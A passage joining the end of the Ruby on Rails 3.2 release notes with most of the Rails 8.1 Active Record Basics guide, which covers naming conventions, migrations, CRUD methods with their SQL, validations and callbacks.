  $ bin/rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
  ```

  will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.

* Turn gem has been removed from default `Gemfile`.

* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.

* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.

### [5.1. Deprecations](#railties-deprecations)

* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.

## [6. Action Mailer](#action-mailer)

* Upgraded `mail` version to 2.4.0.

* Removed the old Action Mailer API which was deprecated since Rails 3.0.

## [7. Action Pack](#action-pack)

### [7.1. Action Controller](#action-controller)

* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.

* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.

* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.

  ```
  class CarsController
    layout 'single_car', :only => :show
  end
  ```

  Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.

* `form_for` is changed to use `#{action}_#{as}` as the CSS class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.

* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.

* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.

* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`

  ```
  cookies[:email] = 'user@example.com'
  get :index
  assert_equal 'user@example.com', cookies[:email]
  ```

  To clear the cookies, use `clear`.

  ```
  cookies.clear
  get :index
  assert_nil cookies[:email]
  ```

  We now no longer write out HTTP\_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.

* MIME type entries for PDF, ZIP and other formats were added.

* Allow `fresh_when/stale?` to take a record instead of an options hash.

* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.

* Assets should use the request protocol by default or default to relative if no request is available.

#### [7.1.1. Deprecations](#action-controller-deprecations)

* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

  ```
  class ApplicationController
    layout "application"
  end

  class PostsController < ApplicationController
  end
  ```

  In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.

* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.

* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`.

* Deprecated `method_missing` in favor of `action_missing` for missing actions.

* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.

### [7.2. Action Dispatch](#action-dispatch)

* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.

* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.

* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.

#### [7.2.1. Deprecations](#action-dispatch-deprecations)

* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.

### [7.3. Action View](#action-view)

* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.

  ```
  <%= form_for @post do |f| %>
    <%= f.button %>
  <% end %>
  ```

* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

  ```
  <%= form_for(@offer, :namespace => 'namespace') do |f| %>
    <%= f.label :version, 'Version' %>:
    <%= f.text_field :version %>
  <% end %>
  ```

* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.

* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

  ```
  @items.each do |item|
    content_tag_for(:li, item) do
      Title: <%= item.title %>
    end
  end
  ```

  You can do this:

  ```
  content_tag_for(:li, @items) do |item|
    Title: <%= item.title %>
  end
  ```

* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.

#### [7.3.1. Deprecations](#action-view-deprecations)

* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: `render :template => "foo", :formats => [:html, :js], :handlers => :erb`.

### [7.4. Sprockets](#sprockets)

* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.

## [8. Active Record](#active-record)

* Boolean columns with 'on' and 'ON' values are type cast to true.

* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.

* Implemented `ActiveRecord::Relation#explain`.

* Implements `ActiveRecord::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.

* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.

  ```
  class User < ActiveRecord::Base
    store :settings, accessors: [ :color, :homepage ]
  end

  u = User.new(color: 'black', homepage: '37signals.com')
  u.color                          # Accessor stored attribute
  u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
  ```

* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

  ```
  rake db:migrate SCOPE=blog
  ```

* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.

* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

  ```
  Client.where(:active => true).pluck(:id)
  # SELECT id from clients where active = 1
  ```

* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.

* Add `ActiveRecord::Relation#uniq` for generating unique queries.

  ```
  Client.select('DISTINCT name')
  ```

  ..can be written as:

  ```
  Client.select(:name).uniq
  ```

  This also allows you to revert the uniqueness in a relation:

  ```
  Client.select(:name).uniq.uniq(false)
  ```

* Support index sort order in SQLite, MySQL and PostgreSQL adapters.

* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.

  ```
  has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
  ```

* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.

* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

  ```
  User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
  ```

* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.

  This makes it possible to write the following:

  ```
  class Order < ActiveRecord::Base
    def cancel!
      transaction do
        lock!
        # ... cancelling logic
      end
    end
  end
  ```

  as:

  ```
  class Order < ActiveRecord::Base
    def cancel!
      with_lock do
        # ... cancelling logic
      end
    end
  end
  ```

### [8.1. Deprecations](#active-record-deprecations)

* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

  ```
  Thread.new { Post.find(1) }.join
  ```

  It should be changed to close the database connection at the end of the thread:

  ```
  Thread.new {
    Post.find(1)
    Post.connection.close
  }.join
  ```

  Only people who spawn threads in their application code need to worry about this change.

* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.

  ```
  class Project < ActiveRecord::Base
    self.table_name = "project"
  end
  ```

  Or define your own `self.table_name` method:

  ```
  class Post < ActiveRecord::Base
    def self.table_name
      "special_" + super
    end
  end

  Post.table_name # => "special_posts"
  ```

## [9. Active Model](#active-model)

* Add `ActiveModel::Errors#added?` to check if a specific error has been added.

* Add ability to define strict validations with `strict => true` that always raises exception when fails.

* Provide mass\_assignment\_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

### [9.1. Deprecations](#active-model-deprecations)

* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.

* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.

## [10. Active Resource](#active-resource)

* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.

## [11. Active Support](#active-support)

* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.

  ```
  Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

  Logger.tagged("BCX") { Logger.info "Stuff" }
  # Logs "[BCX] Stuff"

  Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
  # Logs "[BCX] [Jason] Stuff"

  Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
  # Logs "[BCX] [Jason] Stuff"
  ```

* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.

* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.

* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.

* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.

* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.

* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.

* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U\`3000 is considered to be whitespace.

* The inflector understands acronyms.

* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.

  ```
  Event.where(:created_at => Time.now.all_week)
  Event.where(:created_at => Time.now.all_day)
  ```

* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.

* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.

* Added `ActiveSupport::Cache::NullStore` for use in development and testing.

* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.

### [11.1. Deprecations](#deprecations)

* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.

* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.

* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.

* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.

* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.

* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

  ```
  f = File.open('foo.log', 'w')
  f.sync = true
  ActiveSupport::BufferedLogger.new f
  ```

* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.

## [12. Credits](#credits)

See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_basics.html
----

***

## [1. What is Active Record?](#what-is-active-record-questionmark)

Active Record is part of the M in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the model - which is the layer of the system responsible for representing data and business logic. Active Record helps you create and use Ruby objects whose attributes require persistent storage to a database.

What is the difference between Active Record and Active Model? It's possible to model data with Ruby objects that do *not* need to be backed by a database. [Active Model](active_model_basics.html) is commonly used for that in Rails, making Active Record and Active Model both part of the M in MVC, as well as your own plain Ruby objects.

The term "Active Record" also refers to a software architecture pattern. Active Record in Rails is an implementation of that pattern. It's also a description of something called an [Object Relational Mapping](https://en.wikipedia.org/wiki/Object-relational_mapping) system. The below sections explain these terms.

### [1.1. The Active Record Pattern](#the-active-record-pattern)

The [Active Record pattern is described by Martin Fowler](https://www.martinfowler.com/eaaCatalog/activeRecord.html) in the book *Patterns of Enterprise Application Architecture* as "an object that wraps a row in a database table, encapsulates the database access, and adds domain logic to that data." Active Record objects carry both data and behavior. Active Record classes match very closely to the record structure of the underlying database. This way users can easily read from and write to the database, as you will see in the examples below.

### [1.2. Object Relational Mapping](#object-relational-mapping)

Object Relational Mapping, commonly referred to as ORM, is a technique that connects the rich objects of a programming language to tables in a relational database management system (RDBMS). In the case of a Rails application, these are Ruby objects. Using an ORM, the attributes of Ruby objects, as well as the relationship between objects, can be easily stored and retrieved from a database without writing SQL statements directly. Overall, ORMs minimize the amount of database access code you have to write.

Basic knowledge of relational database management systems (RDBMS) and structured query language (SQL) is helpful in order to fully understand Active Record. Please refer to [this SQL tutorial](https://www.khanacademy.org/computing/computer-programming/sql) (or [this RDBMS tutorial](https://www.devart.com/what-is-rdbms/)) or study them by other means if you would like to learn more.

### [1.3. Active Record as an ORM Framework](#active-record-as-an-orm-framework)

Active Record gives us the ability to do the following using Ruby objects:

* Represent models and their data.
* Represent associations between models.
* Represent inheritance hierarchies through related models.
* Validate models before they get persisted to the database.
* Perform database operations in an object-oriented fashion.

## [2. Convention over Configuration in Active Record](#convention-over-configuration-in-active-record)

When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll write very little to no configuration code when creating Active Record models.

Rails adopts the idea that if you configure your applications in the same way most of the time, then that way should be the default. Explicit configuration should be needed only in those cases where you can't follow the convention.

To take advantage of convention over configuration in Active Record, there are some naming and schema conventions to follow. And in case you need to, it is possible to [override naming conventions](#overriding-the-naming-conventions).

### [2.1. Naming Conventions](#naming-conventions)

Active Record uses this naming convention to map between models (represented by Ruby objects) and database tables:

Rails will pluralize your model's class names to find the respective database table. For example, a class named `Book` maps to a database table named `books`. The Rails pluralization mechanisms are very powerful and capable of pluralizing (and singularizing) both regular and irregular words in the English language. This uses the [Active Support](active_support_core_extensions.html#pluralize) [pluralize](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Inflector.html#method-i-pluralize) method.

For class names composed of two or more words, the model class name will follow the Ruby conventions of using an UpperCamelCase name. The database table name, in that case, will be a snake\_case name. For example:

* `BookClub` is the model class, singular with the first letter of each word capitalized.
* `book_clubs` is the matching database table, plural with underscores separating words.

Here are some more examples of model class names and corresponding table names:

| Model / Class | Table / Schema |
| ------------- | -------------- |
| `Article`     | `articles`     |
| `LineItem`    | `line_items`   |
| `Product`     | `products`     |
| `Person`      | `people`       |

### [2.2. Schema Conventions](#schema-conventions)

Active Record uses conventions for column names in the database tables as well, depending on the purpose of these columns.

* **Primary keys** - By default, Active Record will use an integer column named `id` as the table's primary key (`bigint` for PostgreSQL, MySQL, and MariaDB, `integer` for SQLite). When using [Active Record Migrations](#migrations) to create your tables, this column will be automatically created.
* **Foreign keys** - These fields should be named following the pattern `singularized_table_name_id` (e.g., `order_id`, `line_item_id`). These are the fields that Active Record will look for when you create associations between your models.

There are also some optional column names that will add additional features to Active Record instances:

* `created_at` - Automatically gets set to the current date and time when the record is first created.
* `updated_at` - Automatically gets set to the current date and time whenever the record is created or updated.
* `lock_version` - Adds [optimistic locking](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Locking.html) to a model.
* `type` - Specifies that the model uses [Single Table Inheritance](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
* `(association_name)_type` - Stores the type for [polymorphic associations](association_basics.html#polymorphic-associations).
* `(table_name)_count` - Used to cache the number of belonging objects on associations. For example, if `Article`s have many `Comment`s, a `comments_count` column in the `articles` table will cache the number of existing comments for each article.

While these column names are optional, they are reserved by Active Record. Steer clear of reserved keywords when naming your table's columns. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, use a different word to accurately describe the data you are modeling.

## [3. Creating Active Record Models](#creating-active-record-models)

When generating a Rails application, an abstract `ApplicationRecord` class will be created in `app/models/application_record.rb`. The `ApplicationRecord` class inherits from [`ActiveRecord::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Base.html) and it's what turns a regular Ruby class into an Active Record model.

`ApplicationRecord` is the base class for all Active Record models in your app. To create a new model, subclass the `ApplicationRecord` class and you're good to go:

```
class Book < ApplicationRecord
end
```

This will create a `Book` model, mapped to a `books` table in the database, where each column in the table is mapped to attributes of the `Book` class. An instance of `Book` can represent a row in the `books` table. The `books` table with columns `id`, `title`, and `author`, can be created using an SQL statement like this:

```
CREATE TABLE books (
  id int(11) NOT NULL auto_increment,
  title varchar(255),
  author varchar(255),
  PRIMARY KEY  (id)
);
```

However, that is not how you do it normally in Rails. Database tables in Rails are typically created using [Active Record Migrations](#migrations) and not raw SQL. A migration for the `books` table above can be generated like this:

```
$ bin/rails generate migration CreateBooks title:string author:string
```

If you don't specify a type for a field (e.g., `title` instead of `title:string`), Rails will default to type `string`.

and results in this:

```
# Note:
# The `id` column, as the primary key, is automatically created by convention.
# Columns `created_at` and `updated_at` are added by `t.timestamps`.

# db/migrate/20240220143807_create_books.rb
class CreateBooks < ActiveRecord::Migration[8.1]
  def change
    create_table :books do |t|
      t.string :title
      t.string :author

      t.timestamps
    end
  end
end
```

That migration creates columns `id`, `title`, `author`, `created_at` and `updated_at`. Each row of this table can be represented by an instance of the `Book` class with the same attributes: `id`, `title`, `author`, `created_at`, and `updated_at`. You can access a book's attributes like this:

```
irb> book = Book.new
=> #<Book:0x00007fbdf5e9a038 id: nil, title: nil, author: nil, created_at: nil, updated_at: nil>

irb> book.title = "The Hobbit"
=> "The Hobbit"
irb> book.title
=> "The Hobbit"
```

You can generate the Active Record model class as well as a matching migration with the command `bin/rails generate model Book title:string author:string`. This creates the files `app/models/book.rb`, `db/migrate/20240220143807_create_books.rb`, and a couple others for testing purposes.

### [3.1. Creating Namespaced Models](#creating-namespaced-models)

Active Record models are placed under the `app/models` directory by default. But you may want to organize your models by placing similar models under their own folder and namespace. For example, `order.rb` and `review.rb` under `app/models/book` with `Book::Order` and `Book::Review` class names, respectively. You can create namespaced models with Active Record.

In the case where the `Book` module does not already exist, the `generate` command will create everything like this:

```
$ bin/rails generate model Book::Order
      invoke  active_record
      create    db/migrate/20240306194227_create_book_orders.rb
      create    app/models/book/order.rb
      create    app/models/book.rb
      invoke    test_unit
      create      test/models/book/order_test.rb
      create      test/fixtures/book/orders.yml
```

If the `Book` module already exists, you will be asked to resolve the conflict:

```
$ bin/rails generate model Book::Order
      invoke  active_record
      create    db/migrate/20240305140356_create_book_orders.rb
      create    app/models/book/order.rb
    conflict    app/models/book.rb
  Overwrite /Users/bhumi/Code/rails_guides/app/models/book.rb? (enter "h" for help) [Ynaqdhm]
```

Once the namespaced model generation is successful, the `Book` and `Order` classes look like this:

```
# app/models/book.rb
module Book
  def self.table_name_prefix
    "book_"
  end
end

# app/models/book/order.rb
class Book::Order < ApplicationRecord
end
```

Setting the [table\_name\_prefix](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D) in `Book` will allow `Order` model's database table to be named `book_orders`, instead of plain `orders`.

The other possibility is that you already have a `Book` model that you want to keep in `app/models`. In that case, you can choose `n` to not overwrite `book.rb` during the `generate` command.

This will still allow for a namespaced table name for `Book::Order` class, without needing the `table_name_prefix`:

```
# app/models/book.rb
class Book < ApplicationRecord
  # existing code
end

Book::Order.table_name
# => "book_orders"
```

## [4. Overriding the Naming Conventions](#overriding-the-naming-conventions)

What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.

Since `ApplicationRecord` inherits from `ActiveRecord::Base`, your application's models will have a number of helpful methods available to them. For example, you can use the `ActiveRecord::Base.table_name=` method to customize the table name that should be used:

```
class Book < ApplicationRecord
  self.table_name = "my_books"
end
```

If you do so, you will have to manually define the class name that is hosting [the fixtures](testing.html#fixtures) (`my_books.yml`) using the `set_fixture_class` method in your test definition:

```
# test/models/book_test.rb
class BookTest < ActiveSupport::TestCase
  set_fixture_class my_books: Book
  fixtures :my_books
  # ...
end
```

It's also possible to override the column that should be used as the table's primary key using the `ActiveRecord::Base.primary_key=` method:

```
class Book < ApplicationRecord
  self.primary_key = "book_id"
end
```

**Active Record does not recommend using non-primary key columns named `id`.** Using a column named `id` which is not a single-column primary key complicates the access to the column value. The application will have to use the [`id_value`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ModelSchema.html#method-i-id_value) alias attribute to access the value of the non-PK `id` column.

If you try to create a column named `id` which is not the primary key, Rails will throw an error during migrations such as: `you can't redefine the primary key column 'id' on 'my_books'.` `To define a custom primary key, pass { id: false } to create_table.`

## [5. CRUD: Reading and Writing Data](#crud-reading-and-writing-data)

CRUD is an acronym for the four verbs we use to operate on data: **C**reate, **R**ead, **U**pdate, and **D**elete. Active Record automatically creates methods to allow you to read and manipulate data stored in your application's database tables.

Active Record makes it seamless to perform CRUD operations by using these high-level methods that abstract away database access details. Note that all of these convenient methods result in SQL statement(s) that are executed against the underlying database.

The examples below show a few of the CRUD methods as well as the resulting SQL statements.

### [5.1. Create](#create)

Active Record objects can be created from a hash, a block, or have their attributes manually set after creation. The `new` method will return a new, non-persisted object, while `create` will save the object to the database and return it.

For example, given a `Book` model with attributes of `title` and `author`, the `create` method call will create an object and save a new record to the database:

```
book = Book.create(title: "The Lord of the Rings", author: "J.R.R. Tolkien")

# Note that the `id` is assigned as this record is committed to the database.
book.inspect
# => "#<Book id: 106, title: \"The Lord of the Rings\", author: \"J.R.R. Tolkien\", created_at: \"2024-03-04 19:15:58.033967000 +0000\", updated_at: \"2024-03-04 19:15:58.033967000 +0000\">"
```

While the `new` method will instantiate an object *without* saving it to the database:

```
book = Book.new
book.title = "The Hobbit"
book.author = "J.R.R. Tolkien"

# Note that the `id` is not set for this object.
book.inspect
# => "#<Book id: nil, title: \"The Hobbit\", author: \"J.R.R. Tolkien\", created_at: nil, updated_at: nil>"

# The above `book` is not yet saved to the database.

book.save
book.id # => 107

# Now the `book` record is committed to the database and has an `id`.
```

If a block is provided, both `create` and `new` will yield the new object to that block for initialization, while only `create` will persist the resulting object to the database:

```
book = Book.new do |b|
  b.title = "Metaprogramming Ruby 2"
  b.author = "Paolo Perrotta"
end

book.save
```

The resulting SQL statement from both `book.save` and `Book.create` look something like this:

```
/* Note that `created_at` and `updated_at` are automatically set. */

INSERT INTO "books" ("title", "author", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["title", "Metaprogramming Ruby 2"], ["author", "Paolo Perrotta"], ["created_at", "2024-02-22 20:01:18.469952"], ["updated_at", "2024-02-22 20:01:18.469952"]]
```

Finally, if you'd like to insert several records **without callbacks or validations**, you can directly insert records into the database using `insert` or `insert_all` methods:

```
Book.insert(title: "The Lord of the Rings", author: "J.R.R. Tolkien")
Book.insert_all([{ title: "The Lord of the Rings", author: "J.R.R. Tolkien" }])
```

### [5.2. Read](#read)

Active Record provides a rich API for accessing data within a database. You can query a single record or multiple records, filter them by any attribute, order them, group them, select specific fields, and do anything you can do with SQL.

```
# Return a collection with all books.
books = Book.all

# Return a single book.
first_book = Book.first
last_book = Book.last
book = Book.take
```

The above results in the following SQL:

```
-- Book.all
SELECT "books".* FROM "books"

-- Book.first
SELECT "books".* FROM "books" ORDER BY "books"."id" ASC LIMIT ?  [["LIMIT", 1]]

-- Book.last
SELECT "books".* FROM "books" ORDER BY "books"."id" DESC LIMIT ?  [["LIMIT", 1]]

-- Book.take
SELECT "books".* FROM "books" LIMIT ?  [["LIMIT", 1]]
```

We can also find specific books with `find_by` and `where`. While `find_by` returns a single record, `where` returns a list of records:

```
# Returns the first book with a given title or `nil` if no book is found.
book = Book.find_by(title: "Metaprogramming Ruby 2")

# Alternative to Book.find_by(id: 42). Will throw an exception if no matching book is found.
book = Book.find(42)
```

The above resulting in this SQL:

```
-- Book.find_by(title: "Metaprogramming Ruby 2")
SELECT "books".* FROM "books" WHERE "books"."title" = ? LIMIT ?  [["title", "Metaprogramming Ruby 2"], ["LIMIT", 1]]

-- Book.find(42)
SELECT "books".* FROM "books" WHERE "books"."id" = ? LIMIT ?  [["id", 42], ["LIMIT", 1]]
```

```
# Find all books by a given author, sort by created_at in reverse chronological order.
Book.where(author: "Douglas Adams").order(created_at: :desc)
```

resulting in this SQL:

```
SELECT "books".* FROM "books" WHERE "books"."author" = ? ORDER BY "books"."created_at" DESC [["author", "Douglas Adams"]]
```

There are many more Active Record methods to read and query records. You can learn more about them in the [Active Record Query](active_record_querying.html) guide.

### [5.3. Update](#update)

Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.

```
book = Book.find_by(title: "The Lord of the Rings")
book.title = "The Lord of the Rings: The Fellowship of the Ring"
book.save
```

A shorthand for this is to use a hash mapping attribute names to the desired value, like so:

```
book = Book.find_by(title: "The Lord of the Rings")
book.update(title: "The Lord of the Rings: The Fellowship of the Ring")
```

the `update` results in the following SQL:

```
/* Note that `updated_at` is automatically set. */

 UPDATE "books" SET "title" = ?, "updated_at" = ? WHERE "books"."id" = ?  [["title", "The Lord of the Rings: The Fellowship of the Ring"], ["updated_at", "2024-02-22 20:51:13.487064"], ["id", 104]]
```

This is useful when updating several attributes at once. Similar to `create`, using `update` will commit the updated records to the database.

If you'd like to update several records in bulk **without callbacks or validations**, you can update the database directly using `update_all`:

```
Book.update_all(status: "already own")
```

### [5.4. Delete](#delete)

Likewise, once retrieved, an Active Record object can be destroyed, which removes it from the database.

```
book = Book.find_by(title: "The Lord of the Rings")
book.destroy
```

The `destroy` results in this SQL:

```
DELETE FROM "books" WHERE "books"."id" = ?  [["id", 104]]
```

If you'd like to delete several records in bulk, you may use `destroy_by` or `destroy_all` method:

```
# Find and delete all books by Douglas Adams.
Book.destroy_by(author: "Douglas Adams")

# Delete all books.
Book.destroy_all
```

Additionally, if you'd like to delete several records **without callbacks or validations**, you can delete records directly from the database using `delete` and `delete_all` methods:

```
Book.find_by(title: "The Lord of the Rings").delete
Book.delete_all
```

## [6. Validations](#validations)

Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that allow for different types of validations. For example, validate that an attribute value is not empty, is unique, is not already in the database, follows a specific format, and many more.

Methods like `save`, `create` and `update` validate a model before persisting it to the database. If the model is invalid, no database operations are performed. In this case the `save` and `update` methods return `false`. The `create` method still returns the object, which can be checked for errors. All of these methods have a bang counterpart (that is, `save!`, `create!` and `update!`), which are stricter in that they raise an `ActiveRecord::RecordInvalid` exception when validation fails. A quick example to illustrate:

```
class User < ApplicationRecord
  validates :name, presence: true
end
```

```
irb> user = User.new
irb> user.save
=> false
irb> user.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
```

The `create` method always returns the model, regardless of its validity. You can then inspect this model for any errors.

```
irb> user = User.create
=> #<User:0x000000013e8b5008 id: nil, name: nil>
irb> user.errors.full_messages
=> ["Name can't be blank"]
```

You can learn more about validations in the [Active Record Validations guide](active_record_validations.html).

## [7. Callbacks](#callbacks)

Active Record callbacks allow you to attach code to certain events in the lifecycle of your models. This enables you to add behavior to your models by executing code when those events occur, like when you create a new record, update it, destroy it, and so on.

```
class User < ApplicationRecord
  after_create :log_new_user

  private
    def log_new_user
      puts "A new user was registered"
    end
end
```

```
irb> @user = User.create
A new user was registered
```

You can learn more about callbacks in the [Active Record Callbacks guide](active_record_callbacks.html).

## [8. Migrations](#migrations)

Rails provides a convenient way to manage changes to a database schema via migrations. Migrations are written in a domain-specific language and stored in files which are executed against any database that Active Record supports.

Here's a migration that creates a new table called `publications`:

```
class CreatePublications < ActiveRecord::Migration[8.1]
  def change
    create_table :publications do |t|
      t.string :title
      t.text :description
      t.references :publication_type
      t.references :publisher, polymorphic: true
      t.boolean :single_issue

      t.timestamps
    end
  end
end
```

